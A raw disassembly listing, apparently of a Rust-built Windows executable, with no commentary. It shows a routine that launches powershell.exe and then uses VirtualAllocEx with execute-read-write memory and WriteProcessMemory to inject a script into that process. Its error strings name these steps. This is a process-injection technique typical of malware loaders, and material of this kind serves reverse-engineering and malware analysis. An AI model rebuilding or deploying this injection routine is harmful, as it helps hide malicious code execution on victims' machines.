mov dword [rsp + 0x20], 0
lea rdx, str.C:WindowsSystem32WindowsPowerShell_v1.0powershell.exe
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_CreateProcessA]
test eax, eax
je 0x14000266b
mov rcx, qword [rbp + 0xe0]
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r8, rdi
mov r9d, 0x1000
call qword [sym.imp.kernel32.dll_VirtualAllocEx]
mov rcx, qword [rbp + 0xe0]
test rax, rax
je 0x14000267d
mov qword [rsp + 0x20], 0
mov rdx, rax
mov r8, rsi
mov r9, rdi
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
test eax, eax
je 0x1400026e4
mov rcx, qword [rbp + 0xe0]
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.kernel32.dll_CloseHandle]
test eax, eax
je 0x140002709
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.kernel32.dll_CloseHandle]
test eax, eax
je 0x140002724
test r12, r12
je 0x14000264d
mov rcx, qword [0x14001f0e8]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp], 0
je 0x140002679
mov rcx, qword [0x14001f0e8]
xor edi, edi
xor edx, edx
mov r8, qword [rbp + 8]
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000267b
lea rdi, [0x140018f1e]
mov ebx, 0x23
jmp 0x140002693
xor edi, edi
jmp 0x1400026ca
call qword [sym.imp.kernel32.dll_CloseHandle]
lea rdi, str.Failed_to_allocate_memory_in_target_processFailed_to_write_script_into_target_process_memoryFailed_to_create_PowerShell_process
mov ebx, 0x2b
test eax, eax
jne 0x140002699
call qword [sym.imp.kernel32.dll_GetLastError]
test r12, r12
je 0x1400026b0
mov rcx, qword [0x14001f0e8]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp], 0
je 0x1400026ca
mov rcx, qword [0x14001f0e8]
xor edx, edx
mov r8, qword [rbp + 8]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, rdi
mov rdx, rbx
add rsp, 0x268
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.kernel32.dll_GetLastError]
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.kernel32.dll_CloseHandle]
lea rdi, [0x140018eed]
mov ebx, 0x31
test eax, eax
jne 0x140002699
jmp 0x140002693
call qword [sym.imp.kernel32.dll_GetLastError]
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.kernel32.dll_CloseHandle]
test eax, eax
jne 0x140002636
call qword [sym.imp.kernel32.dll_GetLastError]
test r12, r12
jne 0x14000263b
jmp 0x14000264d
add rcx, r10
cmp rdx, rcx
cmova rcx, rdx
lea r8, [0x14001aab8]
call fcn.140016370
lea r8, [0x14001aaa0]
mov rcx, r9
call fcn.140016370
add r10, r15
cmp rdx, r10
cmova r10, rdx
lea r8, [0x14001aab8]
mov rcx, r10
call fcn.140016370
lea r8, [0x14001aa88]
mov rdx, rax
call fcn.140016370
xor ecx, ecx
call fcn.140016190
lea rax, [0x14001acd8]
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov r8, r10
mov r9, rbx
call fcn.140016860
mov rcx, qword [rbp + 0x188]
mov rdx, qword [rbp + 0x190]
call fcn.140016190
lea rax, [0x1400184a8]
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp + 0x178]
call fcn.140016860
lea rax, [0x140018478]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1400183d0]
lea r8, [rbp + 0x1df]
mov edx, 0x2b
call fcn.140016670
xor ecx, ecx
mov rdx, qword [rbp - 0x10]
call fcn.140016190
lea rax, [0x140018490]
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp + 0x178]
mov rdx, r9
call fcn.140016860
mov ecx, 1
mov rdx, r12
call fcn.140016190
lea rax, [0x1400184c0]
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp + 0x178]
mov r9, rdx
call fcn.140016860
mov ecx, 1
mov edx, 0xe4
call fcn.140016190
lea rax, str.alloc_src_fmt.rs
mov qword [rsp + 0x20], rax
lea rcx, str.a_formatting_trait_implementation_returned_an_error_when_the_underlying_stream_did_not
lea r9, [0x140018f48]
lea r8, [rbp + 0x1df]
mov edx, 0x56
call fcn.140016670
ud2